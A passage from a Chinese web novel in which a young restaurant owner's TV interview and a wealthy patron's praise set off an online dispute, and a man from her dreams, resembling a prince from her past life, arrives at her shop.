“庄老板的手艺真的超级无敌好啊，这个控火控油的能力，过于炉火纯青了，随手一撒一放一炒，一份巨好吃的炒饭就做好了，让我开始期待别的菜了，咱们现在就去吃吧。” 庄凝冬笑了笑，带着孟云露他们出了后厨。 有一张提前为他们准备好的桌子，上面摆满了美味佳肴。 孟云露对比了下，刚好是菜单上拥有的菜式，每一样都有。 品尝菜肴也是采访中的一大环节。 在这一部分，庄凝冬就不用陪着了，她先回后厨忙了。 “终于坐下来了，可以把刚刚的荔枝和杨梅舀出来吃了。” 浸得紫红的荔枝肉很厚。 孟云露：“庄老板真的很实在，采用的原料都是特别优质的，荔枝肉咬下去软软甜甜，煮过之后，有一部分甜味融进了水里，倒不会像原来那么齁甜，杨梅多汁，也没那么酸了，很好吃。” 接下来，就到其他食物了，孟云露每吃一样东西，都会被它的味道惊艳到，然后大夸特夸起来。 “这个东坡肉真的太绝了！看，它的颜色特别好看，红亮亮的，像不像一块切割完好的玉石？夹起来的时候都晃晃悠悠的，我都生怕自己一个不小心没控制好力度就把它夹烂了。” “很软烂，入口化开的那一瞬间，就像开了闸一样，满满的猪油香溢出，遍布口腔，真的不要太好吃。” …… “这份香酥羊排也是，外酥里嫩，软烂脱骨，里面也是超级入味的，卤香味十足，最重要的是一点羊膻味都没有，你们敢信？” …… 一开始还好，吃的时候都会伴随着解说，但慢慢的，她整个人就沉浸到了美食了，全然忘记自己还在工作了。 坐她对面的摄像大哥也好不到哪里去，摄像机架在一旁，虽然拍不到他的脸，但能拍到他偶尔夹菜的动作。 每次一夹就是大堆，并且夹菜的频率还在不断升高，可想而知这个饭菜有多好吃了。 桌子上的菜很多，他们只有两个人，明显是吃不完的。 在一阵狼吞虎咽下，孟云露两人吃饱了，菜还剩很多，趁着摄像大哥去拿袋子打包的时间，孟云露简单做了个总结—— “每一种菜式的味道都特别特别好吃！跟在美食节出名的烤鸭相比，有过之而无不及，各有各的特色，不管是酸甜苦辣哪种味道，都像烤鸭那样，好吃到能让父母把自己的崽崽忘掉。” “照我看，这家饭馆就该改名叫忘崽饭馆才对，怪不得顾客们冒着炎热酷暑排长队都要来吃，因为真的超级好吃，电视机前的观众朋友们有空也一定要来尝尝哦，作为溪城人，必须支持一下溪城的饭馆的呀。” …… 孟云露顺势去采访了几位店内的顾客—— “请问您觉得庄记怎么样？” 顾客A：“那必定是非常好啊，三百六十度上至店内员工态度，菜品味道，下至店内卫生都完美得让人挑不出毛病来，满分十分我给一百分！” “请问您对庄记有什么不满之处吗？” “不满？”顾客B骂了声：“有！必须有！不是我故意蛐蛐，庄记的其他顾客真是太不讲武德了！有一次店里要上新，有个顾客就在群里问其他人都准备几点去排队，其他人纷纷说了自己的时间，我一看，都不是很早，然后当天我又刚好有空，就提前了点去，结果去到一看，好家伙，那群说不会很早到的人结果都在了！” “……”孟云露笑：“看来现在要想吃到庄记，都得使出浑身解数了。” “那肯定，有些菜本来就很难买到了，现在被你们电视台一宣传，只会更难咯。” …… “请问您觉得庄记还有什么需要改进的地方吗？” 顾客C：“需要改进的地方还是挺多的吧，比如扩大店面，提升每天的产量，对了，在你这儿提的话老板是不是一定会听？那我可得多说点，最重要的还是增加烤鸭的份量吧求求了！根本抢不到！！” …… 在顾客这边做完采访，孟云露又去找了庄凝冬，这一环节是做个人专访。 “庄老板年纪轻轻，厨艺就这么好，请问背后是有什么高人指点吗？” 这些问题都是在提纲里提前给庄凝冬看过的。 显然是不能把师父说出来的。 为了省去不必要的麻烦，庄凝冬嘴角挂着浅笑，拿出了提前准备好的回答：“是我自己平时对做饭比较感兴趣，除了会在平台上看视频学习外，还会买一些书籍来了解每种食材的特点，至于其他技巧方面的东西，就是多加练习熟能生巧了。” 庄凝冬说完，在心里默默对自己师父说了句对不起。 …… 庄凝冬的个人专访做完，孟云露又去找了江映槐他们做员工采访。 “请问你们觉得在庄记工作怎么样？会不会觉得很累？” 季初曼：“每天都要招待那么多顾客，久了肯定会累的，不过累只是身体上的疲劳，心理和精神上可好着呢，毕竟有这么好的老板、同事，还有讲道理的顾客。” 陆向安：“累是不可能累的，没办法，老板太人性化了，会时不时给我们放假，说给我们发奖金就发奖金，就现在这个就业环境，上哪去找完全不会画饼的老板啊？” 江映槐：“在你们眼里这也许是工作，但在我眼里跟日常生活没什么区别，就像在跟好朋友玩过家家一样，每天在一起聊聊天，做做菜，开开店，还能听顾客分享趣事，简直不要太好玩。” 孟云露被这个形容描述舒服到，像是不自觉地被带进了这样一个世界，无端产生了向往：“你描述得很有感觉耶，这样的生活也太美好了吧，怪不得我一看到你们就觉得你们活力十足的，完全没有班味，真让人羡慕。” 后面，孟云露又对他们问了几个问题，今天的采访到这就结束了。 录下来的素材已经够多了。 走的时候，摄像大哥正要收起设备，结果孟云露不知道看到什么，制止了他：“等下，先别收。” 摄像大哥：“？” “快快快，赶紧开一下设备，再采访一个人。” 该采访的不都采访完了吗？还要采访谁啊？ 摄像大哥虽不解，但还是听话地打开了设备，跟着孟云露走。 只见孟云露停在了一个精神抖擞的老爷爷前。 孟云露认得他。 前段时间在溪城闹得特别大的、家里有劳斯莱斯的老爷子。 劳斯莱斯啊，虽然不知道什么来头，反正肯定不小。 作为一个新闻记者，就得掌握着实时热度。 孟云露停在江老爷子跟前礼貌道：“您好，我是溪城电视台的记者孟云露，请问可以简单采访您几个问题吗？” 江老爷子知道对方是来给庄记做采访的，问的肯定也是庄记方面的问题，便答应了。 “可以。” “请问您吃庄记的频率高吗？多久会去吃一次？” “高吧，我每顿……准确来说，除了早饭，我都是在庄记解决的。”！！！ 孟云露：“这种频率跟住在庄记没什么区别啊，看来庄记的饭菜非常符合您的口味了，请问您可以具象化一下庄记在您心里的位置吗？比方说好吃到了什么地步？” 江老爷子沉吟片刻，悠悠开口：“比百味楼好吃。” …… 孟云露走的时候，人几乎都是飘起来的。 她此刻的心情实在过于激动和兴奋，不停地跟摄像大哥唠嗑：“你听到了吗？那个富豪竟然说庄记比百味楼好吃！我天，咱们也是吃上‘百味楼’了，还是以这么便宜的价格！” “听到了……你已经说了不下五遍了……” 摄像大哥都从一开始的振奋变成麻木了。 “我真的开心得有点语无伦次了。” 当然，最值得激动的还是这一期的收视率有保障了，比百味楼好吃这个噱头一出，怎么都低不到哪里去。 如果是别人说这话，肯定没什么人信。 可对方是前不久才在溪城人的朋友圈里火过一把的劳斯莱斯富豪。 都买得起劳斯莱斯了，肯定也吃得起百味楼。 可信！！ …… 孟云露拍好的这段采访交给负责剪辑的工作人员处理好，等到了排期，便在溪城电视台的特定栏目播出。 播出前，孟云露给庄凝冬发去了播出时间，庄记的官号也有在各平台帮忙宣传造势。 因而在播出当天，不少在庄记吃过的顾客都守在了电视机前。甚至一些之前通过其他热搜词条关注、一次都没有吃过庄记的外地网友也都守在别的视频软件上，等着看这一段采访。 跟其他采访一样，开头都是一些中规中矩的介绍。 直到庄凝冬拿着两杯杨梅荔枝饮出场。 “老板还是一如既往的好看呜呜呜，连颜值那么高的杨梅荔枝饮在她旁边都逊色了几分。” 有没见过庄凝冬真人的网友也懵了一瞬：“虽然庄记官博发出来的老板的平面照片也很好看，可……也没人告诉我动起来会这么好看啊！这杯杨梅荔枝饮是带有醉人功效的嘛，我怎么好像溺在老板的笑容里了？” 在之后的播出内容里，有人看见庄凝冬轻而易举地完成颠锅翻炒的动作后—— “我的天，这也太帅了吧！老板看着那么瘦弱，身体里蕴藏的力量却不小啊，生平唯一想当铁锅的一次，想被漂亮老板举高高！” 由于视频被剪辑过，所以在庄凝冬秀厨艺的时候，偶尔会有关于她的个人专访穿插其中。 还有一些员工对庄凝冬的评价等。 “老板真的……不仅人美，做事还认真努力，你不成功谁成功啊。” “这么好的工作氛围我也想去啊啊啊啊，庄记还招人不？” …… 一些片段过后，就是孟云露品尝菜式的过程。 “我去，这一道道菜也太丰盛了，要是不看周围的人和环境，还以为参加什么高级宴会来了呢。” “隔着屏幕都觉得好香啊，等我有钱了我一定要买一台能闻着味的电视！” “退一万步来讲，这个采访就不能让我去做吗？” “不用出镜的才是最爽的，看看摄像大哥，那手伸得一次比一次快，夹的菜一次比一次多，一看就很好吃。” …… 溪城电视台的这一栏目，除了要宣传庄记外，还要宣传在美食节上获得二三名的另外两位商家。 由于前面精彩、不可割舍的片段太多，所以在最后采访顾客的环节中，庄记这里只放了两位顾客的。 其中，最重量级的那句“比百味楼好吃”当然留了下来。 所有看到这儿的人：“？？？” 这句话对外地网友来说，只是一句笑话，他们以为电视上的那位老人家只是听过了百味楼的名字，便拿出来说了，并没有放在心上，简单笑笑就过去了。 不过对溪城本地人来说，就不一样了—— “比百味楼好吃？真的假的？我去，这不之前朋友圈看过的那位富豪老爷爷嘛，众所周知，百味楼在万宁，而那辆劳斯莱斯刚好是万宁的车牌，破案了，庄记就是比百味楼好吃！” “出息了家人们！有生之年竟然能吃上比百味楼还好吃的东西了！” “靠！看来以后出门我也可以说上一句‘百味楼算什么，我吃过比它更好吃的东西’了。” “啊啊啊吃太好了家人们了，百味楼的东西卖出天价，而庄记的东西不及人家零头，庄记的老板还真是造福溪城老百姓啊，爱了爱了。” …… 有公众号已经开始截取这一片段蹭热度，想了个标题就赶紧发文—— 《溪城庄记——平替版百味楼？不，是比百味楼更甚的存在》 《关于最近风很大的庄记，劳斯莱斯车主这样评》 《跟着劳斯莱斯车主吃，我们都是劳斯莱斯车主》 《比百味楼好吃，七旬老爷竟这样说，莫不是老糊涂了？》 …… 短短时间内，已经有很多相关文章出现在溪城人的朋友圈里。 在溪城人浏览着各种浮夸标题的公众号文章时，江老爷子评价庄记的那一段采访也被专门截出来吐槽。 甚至冲上了热搜榜。 按理说，溪城电视台这一栏目热度并不大，能关注到的除了溪城本地人之外，就是关注庄记官号的网友了。 而能给庄记官号点关注的外地网友灵魂都比较有趣，平日里也只寻求乐子，对事物包容程度高，也不会因为一个老人家的一句发言不太对就去嘲讽人家。 所以为什么江老爷子会因为一句话就上热搜呢？ 原来是好多溪城的年轻人看到后都高兴得发了微博，这一内容上了本地的热搜榜，被无知网友截下来投稿到了专门收集抽象事件的博主那。 被博主发了出来—— [这是什么新型抽象？就因为一个老人家说那家苍蝇小馆比百味楼好吃，溪城这群人就都信了？？不是，这……这话不就跟哄小孩一样么，他们怎么说也是成年人了吧，居然就这么信了？好抽象……他们就跟人机一样，被告知什么信息就相信什么信息，是没有自己的思想么？] 这个博主平时都是靠别人投稿的一些真实事件哗众取宠，此时此刻，这条博文的底下的评论都是在群嘲。 [比百味楼好吃？笑死我了，真的，什么苍蝇小馆敢碰瓷百味楼啊？] [百味楼是真火啊，连一个小地方的老爷爷都知道，不过懂得多不是您拉踩和登月碰瓷的理由哦，肯定是吃都没吃过百味楼就这样说了。] [老人家不懂就算了，也许人家也只是开开玩笑，最无法理解的难道不是那群年轻人么？居然就这么信了，还说什么“再也不用好奇百味楼的味道噜，因为我已经吃过了比它更好吃的东西”，要是一个人这样发就算了，关键他们是一群人这样发啊，就离谱。] …… 也许因为溪城那群年轻人的发言抽象得像中邪，所以不断引来别人的观摩，目前该博文的热度还在持续飙升中。 有溪城人看到后，实在没法忍了，果断甩出江老爷子第一次出现在庄记门前的盛况。 只见人群中，一辆劳斯莱斯黑得一尘不染，亮得在阳光下泛着锐利的光泽，晃得刺眼。 而江老爷子衣着不凡，被一个年轻人搀扶着，周身所展现出的气场跟其他人完全不在一个图层。 [人家开的劳斯莱斯是万宁的车牌号，据我所知，百味楼也在万宁吧？那么老爷子他说的那句话有什么问题？还是你们觉得开得起劳斯莱斯的人吃不起百味楼的东西？] 这一证据在一水的嘲笑中引起一声惊雷。 80-90 第81章 第81章 一些原本在沉默吃瓜的网友都被炸了出来： [我去，这劳斯莱斯有点东西啊，如果我没记错的话落地价五百万吧。] [何止劳斯莱斯有点东西，那两人身上穿的也很讲究，特别是那个年轻男人手上戴的手表，足够在我这里买一套市中心的大平层了。] [歪个话题，搀扶着老人的那个男的好帅啊。] [帅的难道不是他那身金钱气吗？如果他穿着普通人的衣服，看看你还觉得他帅不帅？] [庸俗……我看的就是他的脸和身材好吧，那一身金钱气起到的是一个锦上添花的作用你到底懂不懂？] [简单给他p了一件大花袄，破案了，好看的人穿什么都好看。] [好奇怪，山长水远的，万宁的人为什么要来这里？难不成真的是那家饭馆太好吃了？] [别说，这下我都有点好奇那家饭馆了。] [＋1] …… 眼看着评论区的风向就要被改变，原本那群嘲得厉害的网友不乐意了。 [得了吧，就这么一张图能说明什么？我到别的地方随随便便找一张富豪下车的图放出来，说他们去的是我家门口，是不是也能说明我认识了这样的大佬？] [点了，而且现在一堆假名媛假富豪排队在豪车前拍视频博眼球，说不定他们那一身行头都是假的是租来的呢，现在上热搜了目的达到了吧，既然自己选择了这条路就躺平任嘲呗，反正黑红也是红。] [我说实话，这店家也太着急太想一步登天了吧，也不看看自己几斤几两，一营销就是直接碰瓷行业顶端，被反噬也正常。] [这一波营销扔了不少钱吧，除去租那一身行头，还有买水军上热搜的，没想看] 这群到处带节奏各种黑的网友实在太令人气愤，凡是看到这条微博的溪城人都忍不了了，纷纷转发给自己的亲朋好友，拉着认识的人一起下场。 [没有图的时候说人家是什么都不懂的老人，现在有图了又说人家是包装成这样的，真是什么话都被你们说完咯，反倒是你们这群张口就来的人，口口声声说人家没吃过百味楼，说人家租说人家请人营销，麻烦你们都分别拿出证据来呢，不然一律当造谣。] [你们这群人就别装众人皆醉你独醒了行不行？搁这儿嘲讽别人，但其实你们才是最抽象最好笑的，谁家好人在溪城开店然后砸钱营销啊，笑死，这砸的钱几十年都赚不回来。] [知道溪城是什么地方么？你听都完全没听过的地方，连机场，地铁都没有的小地方，还营销到五湖四海来，怎么，是想让外地网友长途跋涉千里迢迢走到那去吃一顿饭是吗？] …… 双方阵营的分界线鲜明，各执一词，一些吃瓜乐子人左看看右看看，还是觉得溪城人这边的更有道理和逻辑，甚至几度被溪城人的发言逗到： [乐死我了，你们这群溪城人，狠起来连自己家乡都骂的嘛？] 以至于已经有一些路人开始为他们说话了。 网上的争吵还在继续…… * 另一边。 采访播出的时候，庄凝冬他们几个人也守在电视前观看。 毕竟是第一次被官方的平台报道，庄凝冬还是有点紧张的。 她问：“我表现得怎样？感觉有些细节没处理好，应该可以更好的。” 江映槐的情绪价值很到位，张嘴就是一顿夸：“怎么会，已经表现得超级无敌完美啦。” 陆向安：“……要不是我亲眼看着，否则真难以想象这番话是从你嘴里说出来的。” 江映槐：“……” 季初曼的女儿和季女士也有守在电视前看，圆圆还拿了季女士的手机给她发消息：“我在电视上看到妈妈啦，妈妈好厉害～” 现场气氛融洽，一切都是那么美好。 然而很快，陆向安忽然大喊了一声：“不好了！你们快看——” 等电视台的栏目播完他们那一块之后，陆向安上网去截素材，原本想发条博文庆祝这次采访完美收官的，结果才玩了一会儿手机，就看到有网友把江老爷子采访的那段截出来嘲笑了。 还带上了溪城人的发言截图，投稿到了营销号那，现在已经吵翻天了。 而且话题在热搜榜前面，并且随着时间流逝有愈演愈烈的趋势。 庄凝冬他们看完后，表情都很凝重。 江映槐则整个人都炸了：“气死我了气死我了，他们有病吧？” “都多大个人了怎么还这么容易炸毛呢？冷静一下，这件事很容易处理的。”江老爷子拍了拍江映槐，示意她先平复一下心情：“交给我好了。” 庄凝冬：“那麻烦您了江爷爷。” …… 在溪城人和那批网友还在吵的时候，一个毫不相关的蓝V转发了那条微博里其中一个网友的评论。 那条评论刚好发了江老爷子从劳斯莱斯上下来的场景。 那个蓝V配文—— [民以食为天，江老爷子一向都喜欢品尝各地美食，为美食不远万里也是常有的事/比心。] 这条微博很快就转移了他们的注意力，有人问：[这是什么号啊？那群人在吵关他什么事啊？他为什么要掺和一脚呢？] 有人回复他：[？？？这是江氏集团啊你不知道吗？看到那个官方认证了没，是万宁那个江氏集团，旗下公司涉及的行业非常广泛，在万宁那些豪门中，属于中上游了吧。] [啊？？？那他转发的那条评论……江老爷子？？？所以图片上的那个老人是江老爷子？！我的天！] [看看人家官方说的话，‘为美食不远万里也是常有的事’，这说明了什么，说明人家就是为了那家小餐馆去的啊，官方都下场了，说得还不够明白吗？] [我去我去，他竟然是江老爷子！！连江老爷子都亲自去吃的饭馆，还说比百味楼好吃，你们自己细品吧，还有人说人家小饭馆这次是营销的吗？] [别搞笑了，谁能请得来江老爷子营销啊，很明显江老爷子那句夸赞就是发自肺腑的心里话啊。] [啊啊啊啊好羡慕溪城的人啊，不仅有比百味楼好吃的小饭馆，还能看见江老爷子真人。] [如果说那个老人是江老爷子，那照片上亲昵挽着他的那个年轻男人……嘶——] [卧槽卧槽盲生你发现了华点，那一定就是江老爷子的孙子了，是不是江氏集团现任总裁啊？草草草年轻多金帅气，绝了！] [话说，前不久在那内涵人家的劳斯莱斯是租来的那群人呢？赶紧出来道歉！] [你们快看，之前蹦跶得最厉害的那几个人的评论都不见了！！] [我前面特意记下了他们的ID，刚去看了眼，滑跪得非常快，都专门发了一条微博道歉了哎！] [我靠，快艾特出来让我们去看看！爽死了，让他们刚刚叫得那么欢！] …… 那几个带节奏的网友在看到江氏集团官号发的博文后才意识到自己踢到铁板了，原本他们想直接装死当什么也没发生过的，结果都被江氏集团那边的人私聊了。 这几个人都是普通网民，哪里刚得过江氏集团啊，只能赶紧滑跪认错了。 现在那些吃瓜乐子人看完全程，纷纷表示爽极了，同时，他们还被安利到了庄记饭馆，去找了这一期采访的完整版来看。 看完后的感觉基本都是—— 哇，这家饭馆的老板好漂亮，怎么会有人年轻漂亮的同时厨艺还那么高超呢？！羡慕，想嫁！ 这家店的卫生也搞得好干净，对于食材的选用也好用心。 那些饭菜看起来就好好吃，想吃！ 为什么连员工都长得那么好看？！氛围也那么好！ 是一家宝藏饭馆没错了！ …… 自从江老爷子的身份获得盖章，相信庄记比百味楼好吃这句话的人翻了好几倍。 其中，最高兴的当属溪城人了。 起初他们只知道那个老爷爷是有钱人，现在才知道原来那是江老爷子！ 有钱人分那么多种，对于一般的有钱人……虽然有钱到买得起劳斯莱斯的已经不一般了，但是，对比起江老爷子这个身份，还是江老爷子更有份量的。 天，平时经常在庄记看到的老爷子竟然是这么有权势的一个人，他们简直不敢相信。 不过，他们高兴的同时，也有点无奈。 因为，庄记被这么一宣传，每天来的人更多了。 有些是为了来吃庄记，有些是为了看看江老爷子真人。 朝丰街已经很久没这么热闹过了。 虽然人多，但他们都保持着一定距离，没上前打扰他老人家。 苦恼的只有一心想吃庄记的人。 买不到，根本买不到。 从最早开始，他们完全没想过曾经无人问津的小饭馆有朝一日会变得门庭若市。 除了前来吃饭的人，就连前来招聘的人都翻了几倍。 似乎都在羡慕在庄记工作的那种氛围和日子。 新上岗的那几个厨师看到这个场景，在庆幸自己来得早的同时，也在心里默默发誓一定好好工作。 不然一不小心被比下去的话，可就要丢工作了。 这么难得的好工作，一定不可以丢了！ * 万宁市，某个平层里。 傅修霁无语地看着齐扬哲从刚收的一个快递里拿出一只真空打包的烤鸭。 他沉默半晌，唇角勾起一点不可思议的弧度：“这就是你说的，要请我吃的好东西？” 齐扬哲忽略他语气里的嘲讽：“你别不信，反正等会儿尝过你就知道了，这家店最近风巨大，凡是吃过她家的人就没有说不好吃的，我还特意让助理去了趟溪城买的呢…… 傅修霁哂笑得更欢了：“还特意让人飞去买……” 齐扬哲一咽：“你不懂，真的，我助理吃过之后当场就好吃的跪了下来，而且这个烤鸭之前还上过热搜，有个很独特的梗，叫忘崽烤鸭。” 这下傅修霁是连话都懒得说了，从鼻子哼出一道轻声。 嘲讽值拉满。 齐扬哲被激到，不信邪，非要在这争个高下。 他立马烤鸭也不拆了，拿起手机就走到傅修霁身边，把之前那些博文都点开给他看。 其中有条博文还有江老爷子出镜。 “看到没？就连江老爷子都不顾路途遥远亲自去了一趟，而且这家店被江老爷子亲自盖过章的，说是比百味楼好吃！” 齐扬哲说：“哦是了，助理跟我说过，他去到那家店的时候还看到了江老爷子，不过由于江老爷子不认识他，他这才没上前打招呼。” 傅修霁听着，打了个哈欠。 齐扬哲：“……” 齐扬哲也是一身反骨的人，他一看傅修霁没兴趣听，就更来劲了，恨不得拿个喇叭过来张着嘴叭叭叭一顿输出。 “你知道能让江老爷子亲自去一趟，并说出比百味楼好吃这种话的店铺多有含金量吗？特别是这家店的老板，还是一个特别漂亮的年轻女生！她好像还有段采访呢，来，给你看看。” 傅修霁被齐扬哲这个大喇叭吵得不行，在齐扬哲手机怼过来之前，傅修霁原本想躲开的，但不经意间瞥到上面的绮丽面容时，他愣住了。 那张脸…… 是她？！ 第82章 第82章 “看到没，是不是很好看？你有没有觉得这张脸很有古典的感觉？” 傅修霁有点走神。 脑海中闪过零星的梦境片段，梦里女子的样貌和眼前视频里的轮流交错闪过。 那一颦一笑、神态表情，分明是同一个人！ 跟那天在万宁大学荣誉墙看见的照片完全不一样…… 齐扬哲没注意到傅修霁的出神，还在自顾自叭叭叭地说着：“颠锅那会儿的动作，不是我说，真的帅啊，在她身上体现出一种刚柔并济的气质。” “你刚刚说什么？”傅修霁问：“她是那家店的老板？” “……”齐扬哲：“合着我刚刚跟你说了那么多你都没听呗。” 傅修霁干脆拿自己的手机出来查。 几乎没看多久，傅修霁就有点坐不住了。 他在某条博文里看到了那家店铺的所在地址，随后站起身往外走。 齐扬哲以为他是要拿什么东西，一时没在意，直到发现他人是往门外走的。 “诶你干嘛去？！烤鸭还没吃呢！” 傅修霁言简意赅扔下两字。 “追梦。” 随后是一道利落的关门声。 留下一脸懵逼的齐扬哲：“？？？” * 自从庄记饭馆的采访在电视台一播出，除了顾客增多以外，来应聘、在招牌网站上发简历到庄记的人也多了。 庄凝冬每天看简历都有点看不过来。 至于那些直接来现场询问还缺不缺人的，季初曼他们三人也回答得舌头都要干了。 “不好意思啊，咱们店里现在缺后厨工作人员，需要有相关从业经验，不缺前台和运营哈。” 陆向安又送走一个求职者之后，恍惚道：“还好我来得早……” 其实他们店里现在暂时不算太缺人。 当务之急是要扩建店铺，不过等店铺扩建好以后，也还是要招人的，像后厨那些需要本身有硬实力在的技术人员，要是等店铺扩建好以后再招的话就有点晚了。 因为培训也需要时间。 所以现在要招也是招后厨人员。 至于其他的，到时候再招也来得及。 忙过一阵子，江映槐到后厨去装酸梅汤，走到庄凝冬身旁，对她发着牢骚：“师父，我觉得门外那张招聘启事可以撕下来了，现在贴在外面，每天来问的人都好多……” 庄凝冬正清理着盆子里的一堆小鱼。 “我有在想这个问题，按照店铺现在的热度，在网上挂招聘启事好像就足够了，嗯……还是先贴着吧，现在店里人多，你们先忙别的。” “好，”江映槐蹲在一旁，问，“师父，你准备怎么处理这批小鱼？我爷爷也真是的，跟上瘾发疯似的恨不得一次性把池塘里的鱼都捕完，捕完后也不管我们能不能吃完就愣是往这一扔。” 没错，这些跟手指头差不多粗细的小鱼都是江老爷子和梁爷爷弄回来的，一大盆呢。 庄凝冬笑：“吃是肯定吃得完的啦，邻里街坊那么多人呢，这里送点那里送点就解决完了。” “以前他在万宁的时候用几十上百万的捕鱼设备天天空军，没想到来这里后被梁爷爷带着后，整个人都脱胎换骨了。”江映槐还是担忧：“他现在肯定感受到捕鱼的乐趣了，我看他都恨不得睡在池塘边了，之后一定会时不时就投喂点战利品过来……总不能每天都吃鱼吧？” 江映槐不太喜欢吃鱼，她一想到那个场景就有点害怕。 “店里每天还有那么多顾客呢，你忘啦？吃不下的话可以放到加料区让顾客自己拿来吃。” “好像是哦……” 江映槐没处理过鱼，但她在旁边看了一会儿，发现庄凝冬也只是把那些小鱼简单开膛清理内脏之后，觉得自己也会了，便问：“我来帮忙吧。” 现在已经过了最忙的那个阶段，前面有陆向安和季初曼就够用了。 “你会处理吗？”庄凝冬怕她不懂，拿起一条小鱼亲手示范：“像这样把它的肚子破开，把里面的内脏弄出来之后洗干净就可以了。” “好，鱼鳞不用去吗？” “不用，像这种小河鱼，它表面的鳞片小，而切很薄，炸过之后酥脆得很，连带着骨头可以直接吞进肚子里的。” “炸？这些小河鱼要用炸的做法？” 庄凝冬：“嗯，怎么了你不喜欢这种做法？那我可以换一种。” 江映槐：“也不是啦，是我本身不太喜欢吃鱼，但是我又喜欢吃炸制物，所以就有点纠结。” “这样，那你等我做好之后可以先尝一点点，要是还不喜欢吃的话就没办法了。” “师父做的，不喜欢也会喜欢的。” 庄凝冬笑笑，手下处理小河鱼的速度逐渐快了起来。 小河鱼处理完后，庄凝冬往里放入花椒、盐、黄酒和葱姜腌制。 趁着腌制的时间段，庄凝冬又去焙了花椒盐，调了面糊。 这个面糊是用面粉和鸡蛋调的，鸡蛋可以起到增香的作用，同时，庄凝冬又在这个软炸糊的基础上做了点小改动。 根据材料的水分和质地，加入适量的淀粉，可以增加它的脆感。 接下来把小河鱼均匀裹上面糊后就可以下入油锅里炸了。 要炸两次，初次定型，接着再进行复炸。 小河鱼接触到热油后，滋啦滋啦的，第一次炸的时候那颜色还不是特别深，是均匀浅黄的色泽，等复炸过后，那颜色就变深了，金黄金黄的。 滤油捞出来放到提前准备好的碟子里时，碰撞间，能听到很酥脆的声响，是听起来就能想象到特别焦香脆口的那种。 庄凝冬先用筷子夹了一条，蘸了点提前备好的花椒盐，呼呼吹几下就送进嘴里。 咬下一口，咔吱咔吱响，外头裹着的面糊很脆，有股很轻的蛋香，酥脆过后，就是河鱼本身自带的鲜美了，肉质很嫩，连骨头都是脆的。 “好香，你真的不来点吗？” 庄凝冬做出了一副比较浮夸的神情，故意馋江映槐。 在香味的刺激下，江映槐还真就被馋到了，她看准了一条比较小的小河鱼，直接上手了。 她试探性地嚼了几口之后，神色错愕，而后加快了进食速度。 “好吃哎！真的好香好香，一点腥味都没有！” 江映槐完全忘记自己讨厌吃鱼这回事了：“我就知道，师父不管做什么都是好吃的，我要再吃一根。” 庄凝冬也吃了点，然后分装了一部分出来：“拿点出去给初曼姐他们吃吧。” 除此之外，还招呼了在后厨干活的另外几个人都过来尝尝。 “好嘞。” 江映槐应了声就端着碟子出去了。 毫无疑问，喷香又酥脆的炸小鱼格外受欢迎，顾客们也都被馋到了，纷纷围上来要讨一条来吃。 陆向安实在受不了那火热的目光，只好分了一些给他们，可惜数量有限，只能先到先得了。 那些未被分到的顾客带着遗憾离场，走之前还没忘让庄凝冬上新这份炸小鱼。 此时江老爷子从外面走进来。 “什么这么热闹？哎这不是我捕到的那些小鱼么？让我吃一条尝尝。” 江老爷子用牙签戳起一根爽快地送进嘴里，两口就把它吃完了。 “唔，好吃，等明天我再努力加把劲，多弄些回来。” 要是没吃炸小鱼之前，江映槐肯定会阻拦他，但现在她只会支持他：“那爷爷你加油！就这么一点都不够我们吃的。” 江老爷子：“真是奇了怪了，我记得你不是不吃鱼么？” “这又不是普通的鱼，这是师父做的鱼。” “白疼了，还以为你要说这是爷爷捕的鱼。” “咳……也有这个原因啦。” …… 店里一片其乐融融。 此时此刻，傅修霁正站在门外看着里面的景象。 江老爷子还真在…… 他站了没一会儿，频繁出现在梦境里的那个女生从后厨走了出来。 言笑晏晏，表情很灵动鲜活。 傅修霁莫名觉得心跳都变得更重了，一下又一下，重重地敲打着。 他能感受到一种很奇妙的磁场和吸引力。 无一不在驱使着他，让他留下来。 在傅修霁发愣之时，有两个路人经过他身边，他们的谈话声清晰入耳—— “你以为庄记是你想进就进的啊？今时不同往日啦，这些人卷得很，我听说今天有个有三年经验的都被晒下来了呢。” “怕什么，不试试怎么知道行不行？” “也是。” …… 两人走后，傅修霁注意到一旁的招聘启事。 顿时，他心中有了个主意。 * 晚饭期间，江映槐从后厨出来：“里面碟子上放的炸小鱼好像少了，陆向安是不是你偷吃了。” “？” 陆向安：“冤枉啊我坐下来之后就没进过后厨，我看是你记错了吧。” “不可能！我记得小鱼堆成的那个形状，就是少了一点。” “有这么奇怪的事？” 庄凝冬起身：“我进去看看。” 江映槐也跟着来了。 走到厨房门口，她们两人看到放小鱼的那个碟子旁正站着一只狸花猫，它嘴里还叼着一块金灿灿的酥炸小鱼。 两人一猫正大眼瞪小眼。 “原来是你这个小家伙，我就说少了吧。” 江映槐一开口，那只狸花猫迅速跳下去，从后院门蹿了出去。 “哎——” “鱼里面有调味料，猫咪不能吃，我去看看能不能把它追到，映槐你留在这儿防止它有其他‘同伙’。” 庄凝冬说着，快步走了出去。 “咪咪——咪咪——你在哪里？别躲了赶紧出来吧。”庄凝冬边喊边找着。 现在天黑了，尽管有路灯，但仍然不好找。 她东瞅瞅西望望，听到一旁的灌木丛有声音，迅速看了过去，果然看到了熟悉的影子。 庄凝冬跟着追过去。 “别跑了，出来我给你做其他好吃的。” 庄凝冬正跑着，发现小狸花蹿到了一个人的脚边，而后，一只骨节分明的手把狸花摁住，轻而易举地拎了起来。 罪魁祸首被逮捕。 庄凝冬松了口气，放慢脚步走过去，抱起小狸花，把那条小鱼从它嘴里拿出来，也不管它能不能听懂，哄道：“这条鱼蘸了你不能吃的东西，你不可以吃的知道没？跟我走我另外给你做些好吃的。” 小狸花长长地“喵”了一声，听起来有点委屈。 教育完小狸花，庄凝冬才抬眼看向眼前的人，准备道谢。 “谢——” 路灯下，男人抬起了头，一张熟悉得不能再熟悉的面孔映入眼帘。 庄凝冬的话顿时卡壳。 她不可思议地瞪大双眼，同时，松了手，小狸花和小鱼都掉了下去。 “是你？！” 第83章 第83章 没了束缚，小狸花四肢扑腾几下，下意识想走。 但未果，被一只冷白如玉的手迅速抓了回去。 “喵呜——” 小狸花喊了声，可怜巴巴中又有点不太服气。 整个过程中，傅修霁的目光都和庄凝冬对视着，他若有所思：“你认识我？” 庄凝冬依旧怔怔的，胸腔里的一颗心剧烈跳动着，她觉得呼吸都有点不太顺畅。 “王——不是……” 不对，现在不是在大燕朝。 他不是王爷。 那他为什么跟王爷有着一模一样的容貌？ 难道他跟自己一样，也是莫名其妙来到这个世界的？ 可这样也不对。 